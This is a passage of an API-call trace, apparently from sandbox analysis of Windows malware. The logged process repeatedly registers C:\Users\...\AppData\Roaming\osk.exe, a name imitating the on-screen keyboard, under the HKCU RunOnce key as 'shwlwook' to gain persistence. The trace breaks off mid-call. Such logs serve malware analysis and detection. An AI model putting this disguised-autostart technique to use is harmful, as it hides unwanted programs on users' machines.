[0256.306] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1e [0256.306] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1d [0256.306] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.307] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1d [0256.307] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624fa20) returned 0x0 [0256.309] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1c [0256.309] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.309] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.309] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.310] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.310] RegCloseKey (hKey=0x14c) returned 0x0 [0256.310] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.310] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.325] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.325] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.325] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.326] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.326] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f9f0 | out: ppvObject=0x624f9f0*=0x0) returned 0x80004002 [0256.326] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1e [0256.326] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.326] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1f [0256.326] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0840) returned 0x0 [0256.326] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1e [0256.326] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.326] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.327] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.327] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.327] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f9d0 | out: ppvObject=0x624f9d0*=0x0) returned 0x80004002 [0256.327] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1f [0256.327] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1e [0256.327] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.327] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1e [0256.327] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f9a0) returned 0x0 [0256.328] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1d [0256.328] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.329] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.329] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.329] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.329] RegCloseKey (hKey=0x14c) returned 0x0 [0256.329] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.330] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.336] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.336] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.336] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.336] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.336] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f970 | out: ppvObject=0x624f970*=0x0) returned 0x80004002 [0256.336] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1f [0256.336] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.337] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x20 [0256.337] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e07e0) returned 0x0 [0256.337] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1f [0256.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f950 | out: ppvObject=0x624f950*=0x0) returned 0x80004002 [0256.337] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x20 [0256.337] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1f [0256.338] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.338] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1f [0256.338] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f920) returned 0x0 [0256.339] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1e [0256.339] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.339] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.339] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.339] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.340] RegCloseKey (hKey=0x14c) returned 0x0 [0256.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.340] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.351] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.351] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.352] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.352] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.352] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f8f0 | out: ppvObject=0x624f8f0*=0x0) returned 0x80004002 [0256.352] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x20 [0256.352] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.352] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x21 [0256.352] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0780) returned 0x0 [0256.352] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x20 [0256.353] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.353] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.353] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.353] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.353] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f8d0 | out: ppvObject=0x624f8d0*=0x0) returned 0x80004002 [0256.353] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x21 [0256.353] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x20 [0256.353] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, 